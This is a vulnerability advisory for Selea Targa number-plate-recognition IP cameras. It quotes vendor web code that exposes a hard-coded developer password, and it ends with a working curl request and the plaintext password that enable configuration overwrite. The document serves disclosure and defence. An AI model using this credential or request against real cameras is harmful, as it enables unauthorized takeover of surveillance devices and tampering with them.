Selea Targa IP OCR-ANPR Camera Developer Backdoor Config Overwrite

`  
Selea Targa IP OCR-ANPR Camera Developer Backdoor Config Overwrite  
  
  
Vendor: Selea s.r.l.  
Product web page: https://www.selea.com  
Affected version: Model: iZero  
Targa 512  
Targa 504  
Targa Semplice  
Targa 704 TKM  
Targa 805  
Targa 710 INOX  
Targa 750  
Targa 704 ILB  
Firmware: BLD201113005214  
BLD201106163745  
BLD200304170901  
BLD200304170514  
BLD200303143345  
BLD191118145435  
BLD191021180140  
BLD191021180140  
CPS: 4.013(201105)  
3.100(200225)  
3.005(191206)  
3.005(191112)  
  
Summary: IP camera with optical character recognition (OCR) software for automatic  
number plate recognition (ANPR) also equipped with ADR system that enables it to read  
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number  
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number  
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes  
this camera suitable for all installation conditions. Its built-in OCR software works  
as an automatic and independent system without the need of a computer, thus giving  
autonomy to the device even in the event of an interruption in the connection between  
the camera and the operations centre.  
  
Desc: There is a hard-coded password for a hidden and undocumented /dev.html page that  
enables the vendor to enable configuration upload / overwrite to the affected device  
using the checkManufacturer() function through an AJAX method.  
  
======================================================================================  
/dev.html:  
----------  
...  
...  
function checkManufacturer(){  
var manufacturer=$.cookie('manufacturer');  
if (manufacturer){ $('#set_manufacturer').val('Disable manufacturer'); $('#dev_page').show(); $('#config_restore').show(); }  
else{ $('#set_manufacturer').val('Enable manufacturer'); $('#dev_page').hide(); $('#config_restore').hide();}  
}  
checkManufacturer();  
function setMsg(msg){$('#dev_msg').html(msg); setTimeout(function(){$('#dev_msg').html("");},5000)};  
$('#set_manufacturer').click(function(){  
var manufacturer=$.cookie('manufacturer');  
if (manufacturer){ $.cookie('manufacturer',null); location.reload(); }  
else{  
$.ajax({  
url: "/cgi-bin/utils.php?cmd=DEVPASS&pwd="+md5($('#dev_pwd').val()),  
timeout: 2000,  
cache:false,  
mimeType: 'text/plain'  
}).done(function(result){  
try{  
var info=$.parseJSON(result);  
if (info.auth=="OK"){   
setManufacturerTimeout();   
location.reload();  
...  
...  
  
/cgi-bin/utils.php:  
-------------------  
...  
...  
$cmd=$_GET["cmd"];  
  
if ($cmd=="DEVPASS"){  
$pwd=$_GET["pwd"];  
  
$info=new StdClass();  
$info->auth=($pwd==md5("Selea781830"))?"OK":"ERROR";  
  
print(json_encode($info, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK | JSON_PRETTY_PRINT));  
exit();  
}  
...  
...  
  
======================================================================================  
  
Tested on: GNU/Linux 3.10.53 (armv7l)  
PHP/5.6.22  
selea_httpd  
HttpServer/0.1  
SeleaCPSHttpServer/1.1  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5615  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5615.php  
  
  
07.11.2020  
  
--  
  
  
$ curl http://192.168.1.17/cgi-bin/utils.php?cmd=DEVPASS&pwd=4654fa64de66a5ff0befde3c0203817b  
{ "auth": "OK" }  
  
OR  
  
Navigate to /dev.html and enter password: Selea781830, enable config upload.  
`